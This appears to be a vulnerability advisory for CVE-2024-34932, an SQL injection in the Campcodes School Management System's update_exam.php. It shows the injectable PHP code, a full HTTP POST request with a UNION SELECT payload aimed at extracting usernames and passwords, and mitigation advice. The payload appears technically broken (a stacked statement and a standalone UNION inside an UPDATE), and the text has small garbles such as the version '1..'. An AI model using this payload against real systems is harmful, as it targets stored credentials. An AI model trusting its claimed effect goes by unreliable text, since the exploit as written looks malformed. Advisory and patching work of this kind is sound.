A severe security vulnerability (CVE-2024-34932) has been discovered in the Campcodes Complete Web-Based School Management System, version 1.. This vulnerability impacts the "/model/update_exam.php" file and allows attackers to execute arbitrary SQL commands through the "name" parameter. In this comprehensive guide, we'll examine the details of this vulnerability, how it can be exploited, and what measures you should take to prevent it.

The vulnerable code in /model/update_exam.php file is as shown below

<?php
  include('../../database/connection.php');
  $id      = $_POST['id'];
  $name    = $_POST['name'];
  $type    = $_POST['type'];
  $query = "UPDATE exam SET name='$name', type='$type' WHERE id='$id'";
  mysqli_query($connect, $query);
?>

Exploit Details

The vulnerability is an SQL injection, and it can be triggered by sending a POST request with malicious SQL statements in the "name" parameter. The code doesn't properly sanitize the user's input in this field, which leads to potential SQL injection attacks. An attacker can send crafted requests to the server, manipulate the database data or extract sensitive user information from the database.

For example, an attacker could execute the following URL-encoded payload

POST /model/update_exam.php HTTP/1.1
Host: vulnerable-host.edu
Content-Type: application/x-www-form-urlencoded
Content-Length: ...

id=1&name=Exam'+WHERE+1=2;+UNION+SELECT+1,username,password+FROM+users+WHERE+'1'+'&type=test

This attack could potentially lead to dumping the database contents, including username and password data in case of a successful SQL injection. The Campcodes Complete Web-Based School Management System could then be compromised, resulting in unauthorized access to sensitive information.

Original References

Original Vulnerability Disclosure: CVE-2024-34932 - Official Record

Campcodes Complete Web-Based School Management System: Software Homepage

Mitigation and Remediation

To mitigate this vulnerability, apply proper input validation techniques such as prepared statements, parameterized queries, or stored procedures. This will prevent the attacker from injecting harmful SQL commands into the application. Additionally, it is essential to regularly update third-party software, like Campcodes Complete Web-Based School Management System, to the most recent version.

Implement a web application firewall (WAF) to block malicious payloads, reducing the attack surface.

2. Apply the principle of least privilege by restricting user privileges, limiting the possible damage in case of successful exploits.
3. Regularly monitor and review logs for suspicious activity, ensuring a quick response to potential security incidents.
4. Conduct regular vulnerability assessments and penetration testing to identify and patch security vulnerabilities in your applications.

Conclusion

SQL injection vulnerabilities like CVE-2024-34932 pose a significant threat to the security of your applications and data. By staying informed about emerging threats, implementing security best practices, and keeping your software up-to-date, you can protect your organization from potential exploits and maintain a strong security posture.

Timeline

Published on: 05/23/2024 17:15:30 UTC
Last modified on: 11/20/2024 16:35:19 UTC